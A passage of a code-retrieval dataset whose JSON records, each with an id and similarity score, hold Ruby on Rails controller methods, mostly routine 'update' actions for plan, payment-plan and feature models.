respond_with(service_plan)\n end", "title": "" }, { "docid": "940aa9c30e81af7617adafc1ea839af6", "score": "0.6397404", "text": "def update\n @payment_plan = PaymentPlan.find(params[:id])\n\n respond_to do |format|\n if @payment_plan.update_attributes(params[:payment_plan])\n format.html { redirect_to @payment_plan, notice: 'Payment plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @payment_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "16ca299f97361ca6fb92a162ec6095b9", "score": "0.63971144", "text": "def update\n @payment_plan = PaymentPlan.find(params[:id])\n\n respond_to do |format|\n if @payment_plan.update_attributes(params[:payment_plan])\n format.html { redirect_to payment_plans_url, notice: 'Payment plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @payment_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "05c9c40b66b32cda36b20fd17b3e64fe", "score": "0.6366776", "text": "def create_plan\n \tplanAttributes = {\n \"name\" => \"POC Subscription C4\",\n \"description\" => \"Premium Subscription\",\n \"type\" => \"INFINITE\",\n \"payment_definitions\" => [\n {\n \"name\" => \"Monthly Premium Subscription\",\n \"type\" => \"REGULAR\",\n \"frequency\" => \"MONTH\",\n \"frequency_interval\" => \"1\",\n \"amount\" => {\n \"value\" => \"30\",\n \"currency\" => \"USD\"\n },\n \"cycles\" => \"0\" \n }\n ],\n \"merchant_preferences\" => {\n \"return_url\" => \"http://localhost:3000/subscription/return\",\n \"cancel_url\" => \"http://localhost:3000/subscription/cancel\",\n \"auto_bill_amount\" => \"YES\",\n \"initial_fail_amount_action\" => \"CONTINUE\",\n \"max_fail_attempts\" => \"2\"\n }\n \t}\n \tplan = Plan.new(PlanAttributes)\n plan.create #returns true\n\n logger.info \"Plan: #{plan.id}\"\n patch = Patch.new\n patch.op = \"replace\"\n patch.path = \"/\";\n patch.value = { :state => \"ACTIVE\" }\n plan.update( patch )\n end", "title": "" }, { "docid": "d1f759bef4fd26a158890936977fc4d7", "score": "0.63411754", "text": "def update\n respond_to do |format|\n if @payment_plan.update(payment_plan_params)\n format.html { redirect_to @payment_plan, notice: 'Payment plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @payment_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f9cf7db771ce144c12f8f5aad92288f5", "score": "0.6270294", "text": "def update\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c8591bec27693cda5ba8260c4793f2f6", "score": "0.62525994", "text": "def paymentplanfeature_params\n params.permit(:paymentplan_id, :feature_id, :value)\n end", "title": "" }, { "docid": "55edd05d6a4c786926c7d7fa4b72f885", "score": "0.62327105", "text": "def update\n respond_to do |format|\n if @flight_plan.update(flight_plan_params)\n format.html { redirect_to @flight_plan, notice: 'Flight plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @flight_plan }\n else\n format.html { render :edit }\n format.json { render json: @flight_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3935665bab1d6e325ac5599ec3ad70b5", "score": "0.62271315", "text": "def update\n respond_to do |format|\n if @personal_feature.update(personal_feature_params)\n format.html { redirect_to @personal_feature, notice: 'Personal feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @personal_feature }\n else\n format.html { render :edit }\n format.json { render json: @personal_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "75956c3fa1f10e4cd1d267a382ab5681", "score": "0.62139547", "text": "def update\n @shipping_plan = ShippingPlan.find(params[:id])\n\n respond_to do |format|\n if @shipping_plan.update_attributes(params[:shipping_plan])\n format.html { redirect_to @shipping_plan, notice: 'Shipping plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shipping_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ed306c936ad2043230edd933c2a72f6f", "score": "0.6205905", "text": "def update\n feature.update_attributes(feature_params)\n\n respond_with(feature)\n end", "title": "" }, { "docid": "dca5f0fdcfeb9679599230967e0c64e9", "score": "0.6200943", "text": "def update\n respond_to do |format|\n if @yourplan.update(yourplan_params)\n format.html { redirect_to @yourplan, notice: 'Yourplan was successfully updated.' }\n format.json { render :show, status: :ok, location: @yourplan }\n else\n format.html { render :edit }\n format.json { render json: @yourplan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf7857a9ce65e3603d2822e8d0378a14", "score": "0.6198459", "text": "def update\n\n customer_plan_params[:plan_type] = customer_plan_params[:allergy_type].to_i\n customer_plan_params[:prior_authorization_type] = customer_plan_params[:prior_authorization_type].to_i\n customer_plan_params[:relationship_code] = customer_plan_params[:relationship_code].to_i\n customer_plan_params[:accounting_method] = customer_plan_params[:accounting_method].to_i\n customer_plan_params[:payor_type] = customer_plan_params[:payor_type].to_i\n\n respond_to do |format|\n if @customer_plan.update(customer_plan_params)\n format.html { redirect_to @customer_plan, notice: 'Customer plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @customer_plan }\n else\n format.html { render :edit }\n format.json { render json: @customer_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c299b71a9a38794ab991a48960572592", "score": "0.6187724", "text": "def update\n respond_to do |format|\n if @regular_plan.update(regular_plan_params)\n format.html { redirect_to user_regular_plans_path, notice: 'Regular plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @regular_plan }\n else\n format.html { render :edit }\n format.json { render json: @regular_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40e44d933d159f5d62579a1226f5f06d", "score": "0.61742157", "text": "def update\n create_update_feature(params)\n end", "title": "" }, { "docid": "d40d0a6965124d3d3027449a300ed0e5", "score": "0.6170793", "text": "def update\n respond_to do |format|\n if @policy_feature.update(policy_feature_params)\n #format.html { redirect_to @policy_feature, notice: 'Policy feature was successfully updated.' }\n format.json { head :no_content }\n else\n #format.html { render action: 'edit' }\n format.json { render json: @policy_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "468319d294c8832c42a52628f535bed3", "score": "0.6146582", "text": "def update\n @plan = Plan.find(params[:id])\n\n if @plan.update(plan_params)\n head :no_content\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d45ce328fab4ad09e9c2142a33e6bb08", "score": "0.6127781", "text": "def update\n authorize @plan\n respond_to do |format|\n if @plan.update(permitted_attributes(@plan))\n format.html { redirect_to plans_path, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fc6a055e62d69bea0ae87be52aa745d4", "score": "0.6122204", "text": "def update\n @trip_feature = TripFeature.find(params[:id])\n\n respond_to do |format|\n if @trip_feature.update_attributes(params[:trip_feature])\n format.html { redirect_to @trip_feature, notice: 'Trip feature was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trip_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "74b77b9670da9fd2f5376280f265a502", "score": "0.6122129", "text": "def update\n render json: @feature.errors unless @feature.update(feature_params)\n end", "title": "" }, { "docid": "b7f70ec76c06b3fbdab75dbc4df069cc", "score": "0.6117737", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.json { render :show, status: :ok, location: api_v1_book_plan_url(@plan.book, @plan) }\n else\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0c4dd367bcb0bd9ddacb1718858b8374", "score": "0.61079776", "text": "def update\n respond_to do |format|\n if @cost_payment_plan.update(cost_payment_plan_params)\n format.html { redirect_to @cost_payment_plan, notice: 'Cost payment plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @cost_payment_plan }\n else\n format.html { render :edit }\n format.json { render json: @cost_payment_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b2e60b2d0a2e69f99de13a76d3b95b3a", "score": "0.61077505", "text": "def update\n @plan = Plan.find(params[:id])\n @issue = Issue.find_by_id(@plan.issue_id)\n \n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to issue_plans_url(@issue), notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n format.js\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7afb7aa95baf3e45cef439a6fd958c92", "score": "0.61033195", "text": "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to plans_path, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b508411e8c8039f5bb23c1f504f8552", "score": "0.6095125", "text": "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b508411e8c8039f5bb23c1f504f8552", "score": "0.6095125", "text": "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b508411e8c8039f5bb23c1f504f8552", "score": "0.6095125", "text": "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3f479870dc4856168e2a764e54a02a94", "score": "0.60931486", "text": "def update\n @plan = Plan.find(params[:id])\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b766b6fb34017cd1025e66beb8390236", "score": "0.6093029", "text": "def update\n plansoption()\n courseplan()\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34abe00193af26740d49d30de86a85df", "score": "0.60915285", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34abe00193af26740d49d30de86a85df", "score": "0.60915285", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.60876334", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.60876334", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.60876334", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.60876334", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.60876334", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.60876334", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.60876334", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afd476eb72e5d4ec72a58ea61531ea63", "score": "0.6086578", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65a17b04ad27f5203183bb1aed25943d", "score": "0.60836273", "text": "def update\n respond_to do |format|\n if @improvement_plan.update(improvement_plan_params)\n format.html { redirect_to @improvement_plan, notice: 'Improvement plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @improvement_plan }\n else\n format.html { render :edit }\n format.json { render json: @improvement_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "45947b88d9a385e500cf8f87414d0a51", "score": "0.60766715", "text": "def update\n respond_to do |format|\n if @payplan.update(payplan_params)\n format.html { redirect_to payplans_url, notice: 'Payplan was successfully updated.' }\n format.json { render :show, status: :ok, location: @payplan }\n else\n format.html { render :edit }\n format.json { render json: @payplan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1fe31ee2503a7e7c7528c710c5261f0f", "score": "0.60749465", "text": "def update\n @feature = Feature.find(params[:id])\n\n respond_to do |format|\n logger.debug \"feature = #{@feature.name}, sprint #{@feature.sprint_id}, \"\n\n if @feature.update_attributes(params[:feature])\n @feature.update_tasks\n format.html { redirect_to(features_url) }\n format.xml { head :ok }\n format.json { head :ok }\n #format.html { redirect_to(@feature, :notice => 'Feature was successfully updated.') }\n #format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n format.json { render :json => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a787955ff532e8e9256fbcb85ddb8128", "score": "0.60714287", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to plans_url, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "78911efaa99596db0a1793f99353af0e", "score": "0.6064927", "text": "def update\n @newfeature = Newfeature.find(params[:id])\n\n respond_to do |format|\n if @newfeature.update_attributes(params[:newfeature])\n format.html { redirect_to @newfeature, notice: 'Newfeature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @newfeature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4115263eebde636838a7f3be53fc7929", "score": "0.6063415", "text": "def update\n respond_to do |format|\n if @feature_request.update(feature_request_params)\n format.html { redirect_to @feature_request, notice: 'Feature request was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @feature_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "652baf656a5a6d570f0045bec825b032", "score": "0.605892", "text": "def update(options = nil)\n request = Request.new(@client)\n path = \"/plans/\" + CGI.escape(@id) + \"\"\n data = {\n \"name\"=> @name, \n \"trial_period\"=> @trial_period, \n \"metadata\"=> @metadata, \n \"return_url\"=> @return_url, \n \"cancel_url\"=> @cancel_url\n }\n\n response = Response.new(request.put(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"plan\"]\n \n \n return_values.push(self.fill_with_data(body))\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "080f68483d5eca994d2d74e714d10695", "score": "0.6044909", "text": "def update\r\n @testplan = Testplan.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @testplan.update_attributes(params[:testplan])\r\n format.html { redirect_to @testplan, notice: 'Testplan was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @testplan.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "e1258fdee14419f143540e4bf1ebc009", "score": "0.6040974", "text": "def update\n @plan = @store.plans.find(params[:id])\n flash[:error] = \"Cannot edit that plan.\" and redirect_to store_plans_path if @plan.is_readonly\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to store_plan_path(@plan), notice: 'Plan was successfully updated.' }\n format.json { head :ok }\n else\n @plan_types = Plan::PLAN_TYPES.to_a.map(&:reverse)\n @products = [] #it need be changed when products be done\n @frequences = [[\"Monthly\",\"monthly\"],[\"Weekly\",\"weekly\"],[\"Daily\",\"daily\"],[\"Hourly\",\"hourly\"]]\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ce7f67dfb9eec6b984dafe268e94b489", "score": "0.60397214", "text": "def update\n respond_to do |format|\n if @test_plan.update(test_plan_params)\n format.html { redirect_to @test_plan, notice: 'Test plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_plan }\n else\n format.html { render :edit }\n format.json { render json: @test_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0e068483a6ae1f2d130271da0b431df2", "score": "0.60376304", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n\t\t\t\tformat.html { redirect_to user_plans_path, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "afcb05408a94ab6fdb2769e53481d411", "score": "0.6017207", "text": "def update\n respond_to do |format|\n if @new_feature.update(new_feature_params)\n format.html { redirect_to @new_feature, notice: 'New feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @new_feature }\n else\n format.html { render :edit }\n format.json { render json: @new_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fdc380251f611de133c6cbcca753bcb1", "score": "0.60066956", "text": "def update\n @feature = @project.features.find(params[:id])\n\n respond_to do |format|\n if @feature.update_attributes(params[:feature])\n format.html { redirect_to(project_features_path(@project), :notice => 'Feature was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @feature.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ae19d1f939c97715d28d9ea89d7e247a", "score": "0.60005933", "text": "def update\n respond_to do |format|\n if @product_plan.update(product_plan_params)\n format.html { redirect_to @product_plan, notice: 'Product plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @product_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "23f3bef66cd7535a6d84fd7a67bcff33", "score": "0.5997515", "text": "def update\n @plant_feature = PlantFeature.find(params[:id])\n\n respond_to do |format|\n if @plant_feature.update_attributes(params[:plant_feature])\n format.html { redirect_to control_plant_features_path,\n notice: t('activerecord.attributes.plant_feature.messages.has_been_success_updated') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plant_feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f21266174a9c138a7c1f52361dac992c", "score": "0.5995545", "text": "def update\n respond_to do |format|\n if @sample_business_plan.update(sample_business_plan_params)\n format.html { redirect_to @sample_business_plan, notice: 'Faculty was successfully updated.' }\n format.json { render :show, status: :ok, location: @sample_business_plan }\n else\n format.html { render :edit }\n format.json { render json: @sample_business_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "49fa8a81f980897440e41088ddf575b1", "score": "0.5980478", "text": "def update\n respond_to do |format|\n if @plan.update(plan_edit_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "150c1b66875e48875f0e858c700c7a94", "score": "0.59796995", "text": "def update\n if @plan.update(plan_params)\n render json: { status: 'SUCCESS', message: 'Updated the plan', data: @plan }\n else\n render json: { status: 'SUCCESS', message: 'Not updated', data: @plan.errors }\n end\n end", "title": "" }, { "docid": "e4fa0a7dbf7b838b1d227e8121bf642f", "score": "0.5973124", "text": "def update\n #raise plan_params().inspect\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'План успешно обновлен' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40e1fa791670be06800079b4f459fb70", "score": "0.5968703", "text": "def update\n @plan = current_user.account.plan\n\n respond_to do |format|\n if @plan.update_attributes(params[:plan])\n format.html { redirect_to edit_user_registration_path, notice: 'Plan has been successfully updated' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8cb291533cea527b9081b25fe4d39a9b", "score": "0.5968243", "text": "def update\n @supplement_plan = SupplementPlan.find(params[:id])\n\n respond_to do |format|\n if @supplement_plan.update_attributes(params[:supplement_plan])\n format.html { redirect_to @supplement_plan, notice: 'Supplement plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @supplement_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "067e33bedd2d3e491c7e6b81dcb08bee", "score": "0.59677976", "text": "def update\n\n\n params = plan_params\n\n params[:plan_type] = Plan.plan_types.key(plan_params[:plan_type].to_i)\n params[:payor_type] = Plan.payor_types.key(plan_params[:payor_type].to_i)\n params[:print_sort_code] = plan_params[:print_sort_code].to_i\n params[:copay_type] = plan_params[:copay_type].to_i\n params[:support_split_billing] = plan_params[:support_split_billing].to_i\n\n\n respond_to do |format|\n if @plan.update(params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a117b50e4b499ea0a4d9e4178e0a21cb", "score": "0.59662735", "text": "def update\n authorize @feature_request\n\n respond_to do |format|\n if @feature_request.update(feature_request_params)\n format.html { redirect_to @feature_request, notice: t('.notice') }\n format.json { render :show, status: :ok, location: @feature_request }\n else\n format.html { render :edit }\n format.json { render json: @feature_request.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f824ce52a2f7940692334c6d54f59934", "score": "0.5959857", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.js {}\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f824ce52a2f7940692334c6d54f59934", "score": "0.5959857", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: 'Plan was successfully updated.' }\n format.js {}\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d69aeb71beef7b1c4962465cbf42077e", "score": "0.5957223", "text": "def update\n respond_to do |format|\n if @contract_plan.update(contract_plan_params)\n format.html { redirect_to @contract_plan, notice: 'Contract plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_plan }\n else\n format.html { render :edit }\n format.json { render json: @contract_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc92f971b7861a8170e5c62adc5f18c3", "score": "0.59482086", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to plans_path, notice: 'План обновлен!' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71583d147623e793166e6e9475c0fc6f", "score": "0.59471303", "text": "def update\n application_plan.update_attributes(application_plan_update_params)\n respond_with(application_plan)\n end", "title": "" }, { "docid": "40237c78bc18e94f85b400a532ae5349", "score": "0.59354275", "text": "def update\n respond_to do |format|\n if @feature.update(feature_params)\n format.html { redirect_to @feature, notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @feature }\n else\n format.html { render :edit }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "40237c78bc18e94f85b400a532ae5349", "score": "0.59354275", "text": "def update\n respond_to do |format|\n if @feature.update(feature_params)\n format.html { redirect_to @feature, notice: 'Feature was successfully updated.' }\n format.json { render :show, status: :ok, location: @feature }\n else\n format.html { render :edit }\n format.json { render json: @feature.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "03b08e0733b7d822db147537136bfa89", "score": "0.5934295", "text": "def update\n @plan_resource = PlanResource.find(params[:id])\n\n respond_to do |format|\n if @plan_resource.update_attributes(params[:plan_resource])\n format.html { redirect_to @plan_resource, notice: 'Plan resource was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5b7ba97f1465f9c4480c8c1ea852627d", "score": "0.59314775", "text": "def update\n @pricing_plan = PricingPlan.find(params[:id])\n respond_to do |format|\n if @pricing_plan.update_attributes(pricing_params)\n format.html { redirect_to [:admin, @pricing_plan], notice: 'Pricing plan successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pricing_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5074a4b0a2cb9ae568a3b5471d3cc39", "score": "0.5924245", "text": "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan, notice: '基本情報を編集しました' }\n format.json { render :show, status: :ok, location: @plan }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4037026122258ec8d6b988c11b5de846", "score": "0.59223104", "text": "def update_firm_plan \n self.firm.update_plan(plan_id)\n end", "title": "" }, { "docid": "4c52fc8c3c839d805e68fe327a09635a", "score": "0.59212226", "text": "def update\n find_pricing_plan\n respond_to do |format|\n if @pricing_plan.update_attributes(params[:pricing_plan])\n format.html { redirect_to(admin_pricing_plan_path(@pricing_plan), :notice => 'Pricing plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render \"edit\" }\n format.xml { render :xml => @pricing_plan.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e52b0eb31b541452b51d138b4e6f2f92", "score": "0.59206593", "text": "def update_plan(plan_id, prorate, options = nil)\n request = Request.new(@client)\n path = \"/subscriptions/\" + CGI.escape(@id) + \"\"\n data = {\n 'plan_id'=> plan_id, \n 'prorate'=> prorate\n }\n\n response = Response.new(request.put(path, data, options))\n return_values = Array.new\n \n body = response.body\n body = body[\"subscription\"]\n \n \n return_values.push(self.fill_with_data(body))\n \n\n \n return_values[0]\n end", "title": "" }, { "docid": "5e99e89805d6ec3e7eadf4fe9d4ad4a5", "score": "0.59161365", "text": "def update\n respond_to do |format|\n if @product_feature.update(product_feature_params)\n format.html { redirect_to 